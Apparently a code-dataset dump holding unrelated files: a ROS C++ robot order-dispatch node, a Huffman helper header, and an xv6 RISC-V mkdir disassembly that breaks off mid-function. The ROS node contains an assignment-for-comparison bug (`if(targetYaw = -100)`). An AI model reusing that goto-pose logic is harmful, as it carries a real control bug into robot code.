text stringlengths 1 1.05M |
|---|
#include <ros/ros.h>
#include <std_msgs/Bool.h>
#include <std_msgs/String.h>
#include <std_msgs/Float32.h>
#include <sensor_msgs/LaserScan.h>
#include <geometry_msgs/Twist.h>
#include <geometry_msgs/Pose.h>
#include <geometry_msgs/PoseWithCovarianceStamped.h>
#include <geometry_msgs/PoseWithCovariance.h>
#include <tf/transform_listener.h>
#include <tf/tf.h>
#define PI 3.1415926535897932384626433f
#define MAX_TURN_SPD 0.52359879
#define MIN_TURN_SPD 0.05
#define MAX_LINEAR_SPD 0.7
#define EPS 0.05
bool isbeavioractive ;
bool behavior_changed ;
float robotX;
float robotY;
float robotYaw;
std::string prefix;
int order_num ;
void updatePose(const geometry_msgs::PoseWithCovarianceStamped& NewPose){
geometry_msgs::PoseWithCovariance RobotPosewithcovariance = NewPose.pose;
geometry_msgs::Pose RobotPose = RobotPosewithcovariance.pose;
robotX=RobotPose.position.x;
robotY=RobotPose.position.y;
robotYaw=tf::getYaw(RobotPose.orientation);
}
float normalizeRad(float rad)
{
while(rad>PI)
{
rad=rad-2*PI;
}
while(rad<-PI)
{
rad=rad+2*PI;
}
return rad;
}
geometry_msgs::Twist gotoPose(float targetPosex , float targetPosey , float targetYaw){
// create velocity vector
geometry_msgs::Twist moveCmd;
moveCmd.linear.x=0;
moveCmd.linear.y=0;
moveCmd.angular.z=0;
// check completed
float diffx = targetPosex - robotX;
float diffy = targetPosey - robotY;
float yawDiff = normalizeRad(targetYaw - robotYaw);
if (fabs(diffx) < EPS && fabs(diffy) < EPS && fabs(yawDiff) < EPS){
return moveCmd;
}
// if goto pose is not completed try to go to the position
if(targetYaw = -100){
targetYaw = atan2(diffy, diffx);
}
int sign = yawDiff < 0?-1:1;
moveCmd.angular.z = yawDiff;
if(fabs(moveCmd.angular.z) > MAX_TURN_SPD)
{
moveCmd.angular.z=MAX_TURN_SPD * sign;
}
if(fabs(moveCmd.angular.z) < MIN_TURN_SPD)
{
moveCmd.angular.z = MIN_TURN_SPD * sign;
}
if (fabs(yawDiff) < 0.2) {
float linearK = 0.7;
moveCmd.linear.x = linearK * sqrt(pow(diffy,2) + pow(diffx,2));
if (moveCmd.linear.x > MAX_LINEAR_SPD)
{
moveCmd.linear.x = MAX_LINEAR_SPD;
}
}
return moveCmd;
}
void isbeavioractive_func1 (const std_msgs::String::ConstPtr& StringPointer ){
if(StringPointer->data == "order"){
isbeavioractive = true;
prefix = "1" ;
}else if(prefix == "1"){
isbeavioractive = false;
behavior_changed = true ;
}
}
void isbeavioractive_func2 (const std_msgs::String::ConstPtr& StringPointer ){
if(StringPointer->data == "order"){
isbeavioractive = true;
prefix = "2" ;
}else if(prefix == "2"){
isbeavioractive = false;
behavior_changed = true ;
}
}
int main(int argc,char **argv)
{
ros::init(argc,argv,"order");
ros::NodeHandle nh;
ros::Rate rate(30);
ros::Subscriber BehaviorSubs1 = nh.subscribe("/OmniPlatform001/curbehavior", 1, isbeavioractive_func1);
ros::Subscriber BehaviorSubs2 = nh.subscribe("/OmniPlatform002/curbehavior", 1, isbeavioractive_func2);
//ros::Subscriber imageSubs = nh.subscribe(prefix + "sensors/rgbImage", 10, &ImageHelper::processImage, &imageHelper);
//ros::Subscriber laserSubs = nh.subscribe(prefix + "sensors/scan", 10, processLaserScan);
ros::Subscriber poseSubs = nh.subscribe( "/OmniPlatform001/amcl_pose", 10, updatePose); //geometry_msgs
ros::Publisher orderPub =nh.advertise<std_msgs::Float32>("/order",1);
ros::Publisher took_orderPub1 =nh.advertise<std_msgs::Bool>("/OmniPlatform001/took_order",1);
ros::Publisher took_orderPub2 =nh.advertise<std_msgs::Bool>("/OmniPlatform002/took_order",1);
float targetx;
float targety ;
float targetyaw;
float order = 1;
//order += 1;
behavior_changed = true ;
while(ros::ok())
{
if(isbeavioractive && behavior_changed){
behavior_changed = false;
std_msgs::Float32 ordernum;
ordernum.data = order;
orderPub.publish(ordernum);
usleep(3000000);
order = order + 1;
std_msgs::Bool data;
data.data = true ;
if(prefix == "1"){took_orderPub1.publish(data);}
else if(prefix == "2"){took_orderPub2.publish(data);}
std::cout << "took_order " << order -1 << std::endl;
}
ros::spinOnce();
rate.sleep();
}
}
|
COB // COB = COFFEE BREAK -- same as HLT
|
#ifndef LZHL_HuffStatTmp_HPP
#define LZHL_HuffStatTmp_HPP
#include "LZHMacro.hpp"
class HuffStatTmpStruct
{
public:
HUFFINT i;
HUFFINT n;
};
void shellSort( HuffStatTmpStruct* a, int N );
#endif
|
user/_mkdir: file format elf64-littleriscv
Disassembly of section .text:
0000000000000000 <main>:
#include "kernel/stat.h"
#include "user/user.h"
int
main(int argc, char *argv[])
{
0: 7179 addi sp,sp,-48
2: f406 sd ra,40(sp)
4: f022 sd s0,32(sp)
6: ec26 sd s1,24(sp)
8: e84a sd s2,16(sp)
a: e44e sd s3,8(sp)
c: 1800 addi s0,sp,48
int i;
if(argc < 2){
e: 4785 li a5,1
10: 02a7d763 bge a5,a0,3e <main+0x3e>
14: 00858493 addi s1,a1,8
18: ffe5091b addiw s2,a0,-2
1c: 1902 slli s2,s2,0x20
1e: 02095913 srli s2,s2,0x20
22: 090e slli s2,s2,0x3
24: 05c1 addi a1,a1,16
26: 992e add s2,s2,a1
fprintf(2, "Usage: mkdir files...\n");
exit(1);
}
for(i = 1; i < argc; i++){
if(mkdir(argv[i]) < 0){
28: 6088 ld a0,0(s1)
2a: 00000097 auipc ra,0x0
2e: 32c080e7 jalr 812(ra) # 356 <mkdir>
32: 02054463 bltz a0,5a <main+0x5a>
for(i = 1; i < argc; i++){
36: 04a1 addi s1,s1,8
38: ff2498e3 bne s1,s2,28 <main+0x28>
3c: a80d j 6e <main+0x6e>
fprintf(2, "Usage: mkdir files...\n");
3e: 00000597 auipc a1,0x0
42: 7d258593 addi a1,a1,2002 # 810 <malloc+0xe4>
46: 4509 li a0,2
48: 00000097 auipc ra,0x0
4c: 5f8080e7 jalr 1528(ra) # 640 <fprintf>
exit(1);
50: 4505 li a0,1
52: 00000097 auipc ra,0x0
56: 29c080e7 jalr 668(ra) # 2ee <exit>
fprintf(2, "mkdir: %s failed to create\n", argv[i]);
5a: 6090 ld a2,0(s1)
5c: 00000597 auipc a1,0x0
60: 7cc58593 addi a1,a1,1996 # 828 <malloc+0xfc>
64: 4509 li a0,2
66: 00000097 auipc ra,0x0
6a: 5da080e7 jalr 1498(ra) # 640 <fprintf>
break;
}
}
exit(0);
6e: 4501 li a0,0
70: 00000097 auipc ra,0x0
74: 27e080e7 jalr 638(ra) # 2ee <exit>
0000000000000078 <strcpy>:
#include "kernel/fcntl.h"
#include "user/user.h"
char*
strcpy(char *s, const char *t)
{
78: 1141 addi sp,sp,-16
7a: e422 sd s0,8(sp)
7c: 0800 addi s0,sp,16
char *os;
os = s;
while((*s++ = *t++) != 0)
7e: 87aa mv a5,a0
80: 0585 addi a1,a1,1
82: 0785 addi a5,a5,1
84: fff5c703 lbu a4,-1(a1)
88: fee78fa3 sb a4,-1(a5)
8c: fb75 bnez a4,80 <strcpy+0x8>
;
return os;
}
8e: 6422 ld s0,8(sp)
90: 0141 addi sp,sp,16
92: 8082 ret
0000000000000094 <strcmp>:
int
strcmp(const char *p, const char *q)
{
94: 1141 addi sp,sp,-16
96: e422 sd s0,8(sp)
98: 0800 addi s0,sp,16
while(*p && *p == *q)
9a: 00054783 lbu a5,0(a0)
9e: cb91 beqz a5,b2 <strcmp+0x1e>
a0: 0005c703 lbu a4,0(a1)
a4: 00f71763 bne a4,a5,b2 <strcmp+0x1e>
p++, q++;
a8: 0505 addi a0,a0,1
aa: 0585 addi a1,a1,1
while(*p && *p == *q)
ac: 00054783 lbu a5,0(a0)
b0: fbe5 bnez a5,a0 <strcmp+0xc>
return (uchar)*p - (uchar)*q;
b2: 0005c503 lbu a0,0(a1)
}
b6: 40a7853b subw a0,a5,a0
ba: 6422 ld s0,8(sp)
bc: 0141 addi sp,sp,16
be: 8082 ret
00000000000000c0 <strlen>:
uint
strlen(const char *s)
{
c0: 1141 addi sp,sp,-16
c2: e422 sd s0,8(sp)
c4: 0800 addi s0,sp,16
int n;
for(n = 0; s[n]; n++)
c6: 00054783 lbu a5,0(a0)
ca: cf91 beqz a5,e6 <strlen+0x26>
cc: 0505 addi a0,a0,1
ce: 87aa mv a5,a0
d0: 4685 li a3,1
d2: 9e89 subw a3,a3,a0
d4: 00f6853b addw a0,a3,a5
d8: 0785 addi a5,a5,1
da: fff7c703 lbu a4,-1(a5)
de: fb7d bnez a4,d4 <strlen+0x14>
;
return n;
}
e0: 6422 ld s0,8(sp)
e2: 0141 addi sp,sp,16
e4: 8082 ret
for(n = 0; s[n]; n++)
e6: 4501 li a0,0
e8: bfe5 j e0 <strlen+0x20>
00000000000000ea <memset>:
void*
memset(void *dst, int c, uint n)
{
ea: 1141 addi sp,sp,-16
ec: e422 sd s0,8(sp)
ee: 0800 addi s0,sp,16
char *cdst = (char *) dst;
int i;
for(i = 0; i < n; i++){
f0: ce09 beqz a2,10a <memset+0x20>
f2: 87aa mv a5,a0
f4: fff6071b addiw a4,a2,-1
f8: 1702 slli a4,a4,0x20
fa: 9301 srli a4,a4,0x20
fc: 0705 addi a4,a4,1
fe: 972a add a4,a4,a0
cdst[i] = c;
100: 00b78023 sb a1,0(a5)
for(i = 0; i < n; i++){
104: 0785 addi a5,a5,1
106: fee79de3 bne a5,a4,100 <memset+0x16>
}
return dst;
}
10a: 6422 ld s0,8(sp)
10c: 0141 addi sp,sp,16
10e: 8082 ret
0000000000000110 <strchr>:
char*
strchr(const char *s, char c)
{
110: 1141 addi sp,sp,-16
112: e422 sd s0,8(sp)
114: 0800 addi s0,sp,16
for(; *s; s++)
116: 00054783 lbu a5,0(a0)
11a: cb99 beqz a5,130 <strchr+0x20>
if(*s == c)
11c: 00f58763 beq a1,a5,12a <strchr+0x1a>
for(; *s; s++)
120: 0505 addi a0,a0,1
122: 00054783 lbu a5,0(a0)
126: fbfd bnez a5,11c <strchr+0xc>
return (char*)s;
return 0;
128: 4501 li a0,0
}
12a: 6422 ld s0,8(sp)
12c: 0141 addi sp,sp,16
12e: 8082 ret
return 0;
130: 4501 li a0,0
132: bfe5 j 12a <strchr+0x1a>
0000000000000134 <gets>:
char*
gets(char *buf, int max)
{
134: 711d addi sp,sp,-96
136: ec86 sd ra,88(sp)
138: e8a2 sd s0,80(sp)
13a: e4a6 sd s1,72(sp)
13c: e0ca sd s2,64(sp)
13e: fc4e sd s3,56(sp)
140: f852 sd s4,48(sp)
142: f456 sd s5,40(sp)
144: f05a sd s6,32(sp)
146: ec5e sd s7,24(sp)
148: 1080 addi s0,sp,96
14a: 8baa mv s7,a0
14c: 8a2e mv s4,a1
int i, cc;
char c;
for(i=0; i+1 < max; ){
14e: 892a mv s2,a0
150: 4481 li s1,0
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
152: 4aa9 li s5,10
154: 4b35 li s6,13
for(i=0; i+1 < max; ){
156: 89a6 mv s3,s1
158: 2485 addiw s1,s1,1
15a: 0344d863 bge s1,s4,18a <gets+0x56>
cc = read(0, &c, 1);
15e: 4605 li a2,1
160: faf40593 addi a1,s0,-81
164: 4501 li a0,0
166: 00000097 auipc ra,0x0
16a: 1a0080e7 jalr 416(ra) # 306 <read>
if(cc < 1)
16e: 00a05e63 blez a0,18a <gets+0x56>
buf[i++] = c;
172: faf44783 lbu a5,-81(s0)
176: 00f90023 sb a5,0(s2)
if(c == '\n' || c == '\r')
17a: 01578763 beq a5,s5,188 <gets+0x54>
17e: 0905 addi s2,s2,1
180: fd679be3 bne a5,s6,156 <gets+0x22>
for(i=0; i+1 < max; ){
184: 89a6 mv s3,s1
186: a011 j 18a <gets+0x56>
188: 89a6 mv s3,s1
break;
}
buf[i] = '\0';
18a: 99de add s3,s3,s7
18c: 00098023 sb zero,0(s3)
return buf;
}
190: 855e mv a0,s7
192: 60e6 ld ra,88(sp)
194: 6446 ld s0,80(sp)
196: 64a6 ld s1,72(sp)
198: 6906 ld s2,64(sp)
19a: 79e2 ld s3,56(sp)
19c: 7a42 ld s4,48(sp)
19e: 7aa2 ld s5,40(sp)
1a0: 7b02 ld s6,32(sp)
1a2: 6be2 ld s7,24(sp)
1a4: 6125 addi sp,sp,96
1a6: 8082 ret
00000000000001a8 <stat>:
int
stat(const char *n, struct stat *st)
{
1a8: 1101 addi sp,sp,-32
1aa: ec06 sd ra,24(sp)
1ac: e822 sd s0,16(sp)
1ae: e426 sd s1,8(sp)
1b0: e04a sd s2,0(sp)
1b2: 1000 addi s0,sp,32
1b4: 892e mv s2,a1
int fd;
int r;
fd = open(n, O_RDONLY);
1b6: 4581 li a1,0
1b8: 00000097 auipc ra,0x0
1bc: 176080e7 jalr 374(ra) # 32e <open>
if(fd < 0)
1c0: 02054563 bltz a0,1ea <stat+0x42>
1c4: 84aa mv s1,a0
return -1;
r = fstat(fd, st);
1c6: 85ca mv a1,s2
1c8: 00000097 auipc ra,0x0
1cc: 17e080e7 jalr 382(ra) # 346 <fstat>
1d0: 892a mv s2,a0
close(fd);
1d2: 8526 mv a0,s1
1d4: 00000097 auipc ra,0x0
1d8: 142080e7 jalr 322(ra) # 316 <close>
return r;
}
1dc: 854a mv a0,s2
1de: 60e2 ld ra,24(sp)
1e0: 6442 ld s0,16(sp)
1e2: 64a2 ld s1,8(sp)
1e4: 6902 ld s2,0(sp)
1e6: 6105 addi sp,sp,32
1e8: 8082 ret
return -1;
1ea: 597d li s2,-1
1ec: bfc5 j 1dc <stat+0x34>
00000000000001ee <atoi>:
int
atoi(const char *s)
{
1ee: 1141 addi sp,sp,-16
1f0: e422 sd s0,8(sp)
1f2: 0800 addi s0,sp,16
int n;
n = 0;
while('0' <= *s && *s <= '9')
1f4: 00054603 lbu a2,0(a0)
1f8: fd06079b addiw a5,a2,-48
1fc: 0ff7f793 andi a5,a5,255
200: 4725 li a4,9
202: 02f76963 bltu a4,a5,234 <atoi+0x46>
206: 86aa mv a3,a0
n = 0;
208: 4501 li a0,0
while('0' <= *s && *s <= '9')
20a: 45a5 li a1,9
n = n*10 + *s++ - '0';
20c: 0685 addi a3,a3,1
20e: 0025179b slliw a5,a0,0x2
212: 9fa9 addw a5,a5,a0
214: 0017979b slliw a5,a5,0x1
218: 9fb1 addw a5,a5,a2
21a: fd07851b addiw a0,a5,-48
while('0' <= *s && *s <= '9')
21e: 0006c603 lbu a2,0(a3)
222: fd06071b addiw a4,a2,-48
226: 0ff77713 andi a4,a4,255
22a: fee5f1e3 bgeu a1,a4,20c <atoi+0x1e>
return n;
}
22e: 6422 ld s0,8(sp)
230: 0141 addi sp,sp,16
232: 8082 ret
n = 0;
234: 4501 li a0,0
236: bfe5 j 22e <atoi+0x40>
0000000000000238 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
238: 1141 addi sp,sp,-16
23a: e422 sd s0,8(sp)
23c: 0800 addi s0,sp,16
char *dst;
const char *src;
dst = vdst;
src = vsrc;
if (src > dst) {
23e: 02b57663 bgeu a0,a1,26a <memmove+0x32>
while(n-- > 0)
242: 02c05163 blez a2,264 <memmove+0x2c>
246: fff6079b addiw a5,a2,-1
24a: 1782 slli a5,a5,0x20
24c: 9381 srli a5,a5,0x20
24e: 0785 addi a5,a5,1
250: 97aa add a5,a5,a0
dst = vdst;
252: 872a mv a4,a0
*dst++ = *src++;
254: 0585 addi a1,a1,1
256: 0705 addi a4,a4,1
258: fff5c683 lbu a3,-1(a1)
25c: fed70fa3 sb a3,-1(a4)
while(n-- > 0)
260: fee79ae3 bne a5,a4,254 <memmove+0x1c>
src += n;
while(n-- > 0)
*--dst = *--src;
}
return vdst;
}
264: 6422 ld s0,8(sp)
266: 0141 addi sp,sp,16
268: 8082 ret
dst += n;
26a: 00c50733 add a4,a0,a2
src += n;
26e: 95b2 add a1,a1,a2
while(n-- > 0)
270: fec05ae3 blez a2,264 <memmove+0x2c>
274: fff6079b addiw a5,a2,-1
278: 1782 slli a5,a5,0x20
27a: 9381 srli a5,a5,0x20
27c: fff7c793 not a5,a5
280: 97ba add a5,a5,a4
*--dst = *--src;
282: 15fd addi a1,a1,-1
284: 177d addi a4,a4,-1
286: 0005c683 lbu a3,0(a1)
28a: 00d70023 sb a3,0(a4)
while(n-- > 0)
28e: fee79ae3 bne a5,a4,282 <memmove+0x4a>
292: bfc9 j 264 <memmove+0x2c>
0000000000000294 <memcmp>:
int
memcmp(const void *s1, const void *s2, uint n)
{
294: 1141 addi sp,sp,-16
296: e422 sd s0,8(sp)
298: 0800 addi s0,sp,16
const char *p1 = s1, *p2 = s2;
while (n-- > 0) {
29a: ca05 beqz a2,2ca <memcmp+0x36>
29c: fff6069b addiw a3,a2,-1
2a0: 1682 slli a3,a3,0x20
2a2: 9281 srli a3,a3,0x20
2a4: 0685 addi a3,a3,1
2a6: 96aa add a3,a3,a0
if (*p1 != *p2) {
2a8: 00054783 lbu a5,0(a0)
2ac: 0005c703 lbu a4,0(a1)
2b0: 00e79863 bne a5,a4,2c0 <memcmp+0x2c>
return *p1 - *p2;
}
p1++;
2b4: 0505 addi a0,a0,1
p2++;
2b6: 0585 addi a1,a1,1
while (n-- > 0) {
2b8: fed518e3 bne a0,a3,2a8 <memcmp+0x14>
}
return 0;
2bc: 4501 li a0,0
2be: a019 j 2c4 <memcmp+0x30>
return *p1 - *p2;
2c0: 40e7853b subw a0,a5,a4
}
2c4: 6422 ld s0,8(sp)
2c6: 0141 addi sp,sp,16
2c8: 8082 ret
return 0;
2ca: 4501 li a0,0
2cc: bfe5 j 2c4 <memcmp+0x30>
00000000000002ce <memcpy>:
void *
memcpy(void *dst, const void *src, uint n)
{
2ce: 1141 addi sp,sp,-16
2d0: e406 sd ra,8(sp)
2d2: e022 sd s0,0(sp)
2d4: 0800 addi s0,sp,16
return memmove(dst, src, n);
2d6: 00000097 auipc ra,0x0
2da: f62080e7 jalr -158(ra) # 238 <memmove>
}
2de: 60a2 ld ra,8(sp)
2e0: 6402 ld s0,0(sp)
2e2: 0141 addi sp,sp,16
2e4: 8082 ret
00000000000002e6 <fork>:
# generated by usys.pl - do not edit
#include "kernel/syscall.h"
.global fork
fork:
li a7, SYS_fork
2e6: 4885 li a7,1
ecall
2e8: 00000073 ecall
ret
2ec: 8082 ret
00000000000002ee <exit>:
.global exit
exit:
li a7, SYS_exit
2ee: 4889 li a7,2
ecall
2f0: 00000073 ecall
ret
2f4: 8082 ret
00000000000002f6 <wait>:
.global wait
wait:
li a7, SYS_wait
2f6: 488d li a7,3
ecall
2f8: 00000073 ecall
ret
2fc: 8082 ret
00000000000002fe <pipe>:
.global pipe
pipe:
li a7, SYS_pipe
2fe: 4891 li a7,4
ecall
300: 00000073 ecall
ret
304: 8082 ret
0000000000000306 <read>:
.global read
read:
li a7, SYS_read
306: 4895 li a7,5
ecall
308: 00000073 ecall
ret
30c: 8082 ret
000000000000030e <write>:
.global write
write:
li a7, SYS_write
30e: 48c1 li a7,16
ecall
310: 00000073 ecall
ret
314: 8082 ret
0000000000000316 <close>:
.global close
close:
li a7, SYS_close
316: 48d5 li a7,21
ecall
318: 00000073 ecall
ret
31c: 8082 ret
000000000000031e <kill>:
.global kill
kill:
li a7, SYS_kill
31e: 4899 li a7,6
ecall
320: 00000073 ecall
ret
324: 8082 ret
0000000000000326 <exec>:
.global exec
exec:
li a7, SYS_exec
326: 489d li a7,7
ecall
328: 00000073 ecall
ret
32c: 8082 ret
000000000000032e <open>:
.global open
open:
li a7, SYS_open
32e: 48bd li a7,15
ecall
330: 00000073 ecall
ret
334: 8082 ret
0000000000000336 <mknod>:
.global mknod
mknod:
li a7, SYS_mknod
336: 48c5 li a7,17
ecall
338: 00000073 ecall
ret
33c: 8082 ret
000000000000033e <unlink>:
.global unlink
unlink:
li a7, SYS_unlink
33e: 48c9 li a7,18
ecall
340: 00000073 ecall
ret
344: 8082 ret
0000000000000346 <fstat>:
.global fstat
fstat:
li a7, SYS_fstat
346: 48a1 li a7,8
ecall
348: 00000073 ecall
ret
34c: 8082 ret
000000000000034e <link>:
.global link
link:
li a7, SYS_link
34e: 48cd li a7,19
ecall
350: 00000073 ecall
ret
354: 8082 ret
0000000000000356 <mkdir>:
.global mkdir
mkdir:
li a7, SYS_mkdir
356: 48d1 li a7,20
ecall
358: 00000073 ecall
ret
35c: 8082 ret
000000000000035e <chdir>:
.global chdir
chdir:
li a7, SYS_chdir
35e: 48a5 li a7,9
ecall
360: 00000073 ecall
ret
364: 8082 ret
0000000000000366 <dup>:
.global dup
dup:
li a7, SYS_dup
366: 48a9 li a7,10
ecall
368: 00000073 ecall
ret
36c: 8082 ret
000000000000036e <getpid>:
.global getpid
getpid:
li a7, SYS_getpid
36e: 48ad li a7,11
ecall
370: 00000073 ecall
ret
374: 8082 ret
0000000000000376 <sbrk>:
.global sbrk
sbrk:
li a7, SYS_sbrk
376: 48b1 li a7,12
ecall
378: 00000073 ecall
ret
37c: 8082 ret
000000000000037e <sleep>:
.global sleep
sleep:
li a7, SYS_sleep
37e: 48b5 li a7,13
ecall
380: 00000073 ecall
ret
384: 8082 ret
0000000000000386 <uptime>:
.global uptime
uptime:
li a7, SYS_uptime
386: 48b9 li a7,14
ecall
388: 00000073 ecall
ret
38c: 8082 ret
000000000000038e <ntas>:
.global ntas
ntas:
li a7, SYS_ntas
38e: 48d9 li a7,22
ecall
390: 00000073 ecall
ret
394: 8082 ret
0000000000000396 <putc>:
static char digits[] = "0123456789ABCDEF";
static void
putc(int fd, char c)
{
396: 1101 addi sp,sp,-32
398: ec06 sd ra,24(sp)
39a: e822 sd s0,16(sp)
39c: 1000 addi s0,sp,32
39e: feb407a3 sb a1,-17(s0)
write(fd, &c, 1);
3a2: 4605 li a2,1
3a4: fef40593 addi a1,s0,-17
3a8: 00000097 auipc ra,0x0
3ac: f66080e7 jalr -154(ra) # 30e <write>
}
3b0: 60e2 ld ra,24(sp)
3b2: 6442 ld s0,16(sp)
3b4: 6105 addi sp,sp,32
3b6: 8082 ret
00000000000003b8 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
3b8: 7139 addi sp,sp,-64
3ba: fc06 sd ra,56(sp)
3bc: f822 sd s0,48(sp)
3be: f426 sd s1,40(sp)
3c0: f04a sd s2,32(sp)
3c2: ec4e sd s3,24(sp)
3c4: 0080 addi s0,sp,64
3c6: 84aa mv s1,a0
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
3c8: c299 beqz a3,3ce <printint+0x16>
3ca: 0805c863 bltz a1,45a <printint+0xa2>
neg = 1;
x = -xx;
} else {
x = xx;
3ce: 2581 sext.w a1,a1
neg = 0;
3d0: 4881 li a7,0
3d2: fc040693 addi a3,s0,-64
}
i = 0;
3d6: 4701 li a4,0
do{
buf[i++] = digits[x % base];
3d8: 2601 sext.w a2,a2
3da: 00000517 auipc a0,0x0
3de: 47650513 addi a0,a0,1142 # 850 <digits>
3e2: 883a mv a6,a4
3e4: 2705 addiw a4,a4,1
3e6: 02c5f7bb remuw a5,a1,a2
3ea: 1782 slli a5,a5,0x20
3ec: 9381 srli a5,a5,0x20
3ee: 97aa add a5,a5,a0
3f0: 0007c783 lbu a5,0(a5)
3f4: 00f68023 sb a5,0(a3)
}while((x /= base) != 0);
3f8: 0005879b sext.w a5,a1
3fc: 02c5d5bb divuw a1,a1,a2
400: 0685 addi a3,a3,1
402: fec7f0e3 bgeu a5,a2,3e2 <printint+0x2a>
if(neg)
406: 00088b63 beqz a7,41c <printint+0x64>
buf[i++] = '-';
40a: fd040793 addi a5,s0,-48
40e: 973e add a4,a4,a5
410: 02d00793 li a5,45
414: fef70823 sb a5,-16(a4)
418: 0028071b addiw a4,a6,2
while(--i >= 0)
41c: 02e05863 blez a4,44c <printint+0x94>
420: fc040793 addi a5,s0,-64
424: 00e78933 add s2,a5,a4
428: fff78993 addi s3,a5,-1
42c: 99ba add s3,s3,a4
42e: 377d addiw a4,a4,-1
430: 1702 slli a4,a4,0x20
432: 9301 srli a4,a4,0x20
434: 40e989b3 sub s3,s3,a4
putc(fd, buf[i]);
438: fff94583 lbu a1,-1(s2)
43c: 8526 mv a0,s1
43e: 00000097 auipc ra,0x0
442: f58080e7 jalr -168(ra) # 396 <putc>
while(--i >= 0)
446: 197d addi s2,s2,-1
448: ff3918e3 bne s2,s3,438 <printint+0x80>
}
44c: 70e2 ld ra,56(sp)
44e: 7442 ld s0,48(sp)
450: 74a2 ld s1,40(sp)
452: 7902 ld s2,32(sp)
454: 69e2 ld s3,24(sp)
456: 6121 addi sp,sp,64
458: 8082 ret
x = -xx;
45a: 40b005bb negw a1,a1
neg = 1;
45e: 4885 li a7,1
x = -xx;
460: bf8d j 3d2 <printint+0x1a>
0000000000000462 <vprintf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
vprintf(int fd, const char *fmt, va_list ap)
{
462: 7119 addi sp,sp,-128
464: fc86 sd ra,120(sp)
466: f8a2 sd s0,112(sp)
468: f4a6 sd s1,104(sp)
46a: f0ca sd s2,96(sp)
46c: ecce sd s3,88(sp)
46e: e8d2 sd s4,80(sp)
470: e4d6 sd s5,72(sp)
472: e0da sd s6,64(sp)
474: fc5e sd s7,56(sp)
476: f862 sd s8,48(sp)
478: f466 sd s9,40(sp)
47a: f06a sd s10,32(sp)
47c: ec6e sd s11,24(sp)
47e: 0100 addi s0,sp,128
char *s;
int c, i, state;
state = 0;
for(i = 0; fmt[i]; i++){
480: 0005c903 lbu s2,0(a1)
484: 18090f63 beqz s2,622 <vprintf+0x1c0>
488: 8aaa mv s5,a0
48a: 8b32 mv s6,a2
48c: 00158493 addi s1,a1,1
state = 0;
490: 4981 li s3,0
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
492: 02500a13 li s4,37
if(c == 'd'){
496: 06400c13 li s8,100
printint(fd, va_arg(ap, int), 10, 1);
} else if(c == 'l') {
49a: 06c00c93 li s9,108
printint(fd, va_arg(ap, uint64), 10, 0);
} else if(c == 'x') {
49e: 07800d13 li s10,120
printint(fd, va_arg(ap, int), 16, 0);
} else if(c == 'p') {
4a2: 07000d93 li s11,112
putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]);
4a6: 00000b97 auipc s7,0x0
4aa: 3aab8b93 addi s7,s7,938 # 850 <digits>
4ae: a839 j 4cc <vprintf+0x6a>
putc(fd, c);
4b0: 85ca mv a1,s2
4b2: 8556 mv a0,s5
4b4: 00000097 auipc ra,0x0
4b8: ee2080e7 jalr -286(ra) # 396 <putc>
4bc: a019 j 4c2 <vprintf+0x60>
} else if(state == '%'){
4be: 01498f63 beq s3,s4,4dc <vprintf+0x7a>
for(i = 0; fmt[i]; i++){
4c2: 0485 addi s1,s1,1
4c4: fff4c903 lbu s2,-1(s1)
4c8: 14090d63 beqz s2,622 <vprintf+0x1c0>
c = fmt[i] & 0xff;
4cc: 0009079b sext.w a5,s2
if(state == 0){
4d0: fe0997e3 bnez s3,4be <vprintf+0x5c>
if(c == '%'){
4d4: fd479ee3 bne a5,s4,4b0 <vprintf+0x4e>
state = '%';
4d8: 89be mv s3,a5
4da: b7e5 j 4c2 <vprintf+0x60>
if(c == 'd'){
4dc: 05878063 beq a5,s8,51c <vprintf+0xba>
} else if(c == 'l') {
4e0: 05978c63 beq a5,s9,538 <vprintf+0xd6>
} else if(c == 'x') {
4e4: 07a78863 beq a5,s10,554 <vprintf+0xf2>
} else if(c == 'p') {
4e8: 09b78463 beq a5,s11,570 <vprintf+0x10e>
printptr(fd, va_arg(ap, uint64));
} else if(c == 's'){
4ec: 07300713 li a4,115
4f0: 0ce78663 beq a5,a4,5bc <vprintf+0x15a>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
4f4: 06300713 li a4,99
4f8: 0ee78e63 beq a5,a4,5f4 <vprintf+0x192>
putc(fd, va_arg(ap, uint));
} else if(c == '%'){
4fc: 11478863 beq a5,s4,60c <vprintf+0x1aa>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
500: 85d2 mv a1,s4
502: 8556 mv a0,s5
504: 00000097 auipc ra,0x0
508: e92080e7 jalr -366(ra) # 396 <putc>
putc(fd, c);
50c: 85ca mv a1,s2
50e: 8556 mv a0,s5
510: 00000097 auipc ra,0x0
514: e86080e7 jalr -378(ra) # 396 <putc>
}
state = 0;
518: 4981 li s3,0
51a: b765 j 4c2 <vprintf+0x60>
printint(fd, va_arg(ap, int), 10, 1);
51c: 008b0913 addi s2,s6,8
520: 4685 li a3,1
522: 4629 li a2,10
524: 000b2583 lw a1,0(s6)
528: 8556 mv a0,s5
52a: 00000097 auipc ra,0x0
52e: e8e080e7 jalr -370(ra) # 3b8 <printint>
532: 8b4a mv s6,s2
state = 0;
534: 4981 li s3,0
536: b771 j 4c2 <vprintf+0x60>
printint(fd, va_arg(ap, uint64), 10, 0);
538: 008b0913 addi s2,s6,8
53c: 4681 li a3,0
53e: 4629 li a2,10
540: 000b2583 lw a1,0(s6)
544: 8556 mv a0,s5
546: 00000097 auipc ra,0x0
54a: e72080e7 jalr -398(ra) # 3b8 <printint>
54e: 8b4a mv s6,s2
state = 0;
550: 4981 li s3,0
552: bf85 j 4c2 <vprintf+0x60>
printint(fd, va_arg(ap, int), 16, 0);
554: 008b0913 addi s2,s6,8
558: 4681 li a3,0
55a: 4641 li a2,16
55c: 000b2583 lw a1,0(s6)
560: 8556 mv a0,s5
562: 00000097 auipc ra,0x0
566: e56080e7 jalr -426(ra) # 3b8 <printint>
56a: 8b4a mv s6,s2
state = 0;
56c: 4981 li s3,0
56e: bf91 j 4c2 <vprintf+0x60>
